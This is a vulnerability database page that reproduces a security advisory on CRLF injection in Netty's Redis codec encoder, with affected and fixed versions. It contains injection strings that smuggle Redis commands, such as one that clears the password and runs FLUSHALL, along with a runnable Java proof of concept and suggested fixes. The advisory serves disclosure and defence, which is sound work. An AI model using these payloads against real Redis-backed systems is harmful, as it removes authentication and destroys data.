Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-rgrr-p7gp-5xj7

Опубликовано: 07 мая 2026
Источник: github
Github: Прошло ревью
CVSS3: 6.8

Описание

Netty Redis Codec Encoder has a CRLF Injection Issue

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-redis)
Componentio.netty.handler.codec.redis.RedisEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
ImpactRedis Command Injection / Response Poisoning
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) + RedisConstants.EOL_LENGTH); type.writeTo(buf); ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n out.add(buf); }

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

// AbstractStringRedisMessage.java:30-32 AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); // NO CRLF validation }

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder - SMTP command injectionAdded SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4HttpRequestEncoder - CRLF in URIAdded HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include:

  • Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
  • Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
  • Applications that construct Redis monitoring or diagnostic commands from user input
  • Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

// Application code that builds Redis commands from user input String userKey = request.getParameter("key"); // Attacker controls this InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey); channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis:

  1. GET foo
  2. CONFIG SET requirepass "" (removes authentication!)
  3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

// Proxy forwarding a simple string response SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse); downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees:

  1. Simple String: +OK (expected response)
  2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees:

  1. Error: -ERR unknown
  2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; import io.netty.buffer.UnpooledByteBufAllocator; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.redis.*; import java.nio.charset.StandardCharsets; import java.util.List; import java.util.ArrayList; /** * PoC: Redis Encoder CRLF Injection Vulnerability * * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage, * and ErrorRedisMessage do not validate content for CRLF characters, * allowing Redis command injection via the RESP protocol. */ public class RedisEncoderCRLFInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n"); testInlineCommandInjection(); testSimpleStringInjection(); testErrorMessageInjection(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: Inline Command Injection * An attacker-controlled string injected into InlineCommandRedisMessage * results in multiple Redis commands being sent. */ static void testInlineCommandInjection() { System.out.println("[TEST 1] Inline Command CRLF Injection"); System.out.println("----------------------------------------"); // Malicious content: inject FLUSHALL after a benign PING String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); // This should be rejected but is accepted InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: InlineCommandRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // Count how many CRLF-delimited commands are in the output String[] commands = encoded.split("\r\n"); System.out.println("Number of commands parsed by Redis: " + commands.length); for (int i = 0; i < commands.length; i++) { if (!commands[i].isEmpty()) { System.out.println(" Command " + (i + 1) + ": " + commands[i]); } } boolean vulnerable = commands.length > 1; System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO")); System.out.println(); } /** * Test 2: SimpleString Response Injection * When Netty acts as a Redis proxy/middleware, a malicious SimpleString * can inject fake responses to the downstream client. */ static void testSimpleStringInjection() { System.out.println("[TEST 2] SimpleString Response CRLF Injection"); System.out.println("----------------------------------------------"); // Malicious content: inject a fake bulk string response after OK String maliciousContent = "OK\r\n$6\r\nhacked"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: SimpleStringRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // The RESP protocol uses the first byte to determine type: // '+' = Simple String, '$' = Bulk String // A client parsing this would see: // 1. "+OK\r\n" -> Simple String "OK" // 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!) boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO")); System.out.println(); } /** * Test 3: Error Message Injection * Similar to SimpleString but with error messages. */ static void testErrorMessageInjection() { System.out.println("[TEST 3] Error Message CRLF Injection"); System.out.println("--------------------------------------"); String maliciousContent = "ERR unknown\r\n+INJECTED_OK"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: ErrorRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO")); System.out.println(); } }

How to Compile and Run

# Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC === [TEST 1] Inline Command CRLF Injection ---------------------------------------- Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL") Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n" Number of commands parsed by Redis: 3 Command 1: PING Command 2: CONFIG SET requirepass "" Command 3: FLUSHALL VULNERABLE: YES - Multiple commands injected! [TEST 2] SimpleString Response CRLF Injection ---------------------------------------------- Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked") Encoded: "+OK\r\n$6\r\nhacked\r\n" VULNERABLE: YES - Response poisoning possible! [TEST 3] Error Message CRLF Injection -------------------------------------- Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK") Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n" VULNERABLE: YES - Error + fake OK injected! === PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
IntegrityHIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
AvailabilityCan be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication BypassCONFIG SET requirepass "" removes authentication
Data ExfiltrationLua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); validateContent(content); } private static void validateContent(String content) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "Redis message content contains illegal CRLF character at index " + i); } } }

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new RedisCodecException( "Redis message content contains CRLF at index " + i); } } // ... existing encoding logic }

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP:

  • SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
  • This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

Пакеты

Наименование

io.netty:netty-codec-redis

maven
Затронутые версииВерсия исправления

>= 4.2.0.Alpha1, <= 4.2.12.Final

4.2.13.Final

Наименование

io.netty:netty-codec-redis

maven
Затронутые версииВерсия исправления

<= 4.1.132.Final

4.1.133.Final

EPSS

Процентиль: 10%
0.00198
Низкий

6.8 Medium

CVSS3

Дефекты

CWE-93

Связанные уязвимости

CVSS3: 6.8
ubuntu
3 месяца назад

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS3: 6.8
redhat
3 месяца назад

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS3: 6.8
nvd
3 месяца назад

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS3: 6.8
debian
3 месяца назад

Netty is an asynchronous, event-driven network application framework. ...

CVSS3: 8.1
fstec
3 месяца назад

Уязвимость компонента io.netty.handler.codec.redis.RedisEncoder фреймворка для разработки сетевых приложений, серверов и клиентов протоколов Netty, позволяющая нарушителю внедрить произвольные команды

EPSS

Процентиль: 10%
0.00198
Низкий

6.8 Medium

CVSS3

Дефекты

CWE-93